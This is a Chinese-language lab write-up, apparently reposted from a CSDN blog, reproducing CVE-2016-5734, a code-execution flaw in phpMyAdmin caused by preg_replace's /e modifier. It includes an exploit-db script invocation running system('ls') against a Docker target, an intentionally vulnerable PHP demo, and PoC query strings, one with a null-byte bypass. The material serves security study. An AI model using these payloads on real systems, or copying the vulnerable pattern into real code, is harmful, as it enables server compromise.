漏洞简介
Phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可以使用Web接口管理MySQL数据库。
借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表
影响版本
利用条件:需要知道数据库账号密码
Phpmyadmin -> 4.0.10.16之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
环境搭建
攻击机kali:192.168.117.129
靶机IP:192.168.117.128
靶机环境: kali
使用的是Docker + Docker-compose 开源项目vulhub
启动命令:docker-compose up -d
查看是否启动:docker ps
(默认的映射端口是8081,我改成了8081)
复现过程
先访问一下网站(账号是root,密码是root)
我们用kali自带的searchsploit工具搜索漏洞。
命令:
searchsploit phpmyadmin
sudo find / -name 40185.py
进入该文件夹,查看该文件
cd /usr/share/exploitdb/exploits/php/webapps/ && cat 40185.py
这里写有该脚本的用法。
--pwd,后填上phpmyadmin的密码
-c,后面是要执行的php代码
exp利用:
python3 40185.py -u root --pwd="root" http://192.168.117.128:8081 -c "system(‘ls‘);"
漏洞成因
preg_replace函数:
preg_replace 函数执行一个正则表达式的搜索和替换。
preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
preg_replace漏洞触发有两个前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。
测试一下利用\e实现代码执行:
<?php highlight_file(__FILE__); $raw = $_GET[‘raw‘]; $replace = $_GET[‘replace‘]; $text = $_GET[‘text‘]; $text = preg_replace(‘/‘.$raw.‘/e‘, $replace, $text); ?>
poc:
?raw=a&replace=system("ls")&text=larry
如果我们的demo变成了如下的代码,还会有漏洞吗?
<?php highlight_file(__FILE__); $raw = $_GET[‘raw‘]; $replace = $_GET[‘replace‘]; $text = $_GET[‘text‘]; $text = preg_replace(‘/‘.$raw.‘/i‘, $replace, $text); ?>
其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。
poc:
?raw=a/e%00&replace=system(%22ls%22)&text=larry
出处:CVE-2016-5734 Phpmyadmin后台代码执行漏洞复现_丶没胡子的猫-CSDN博客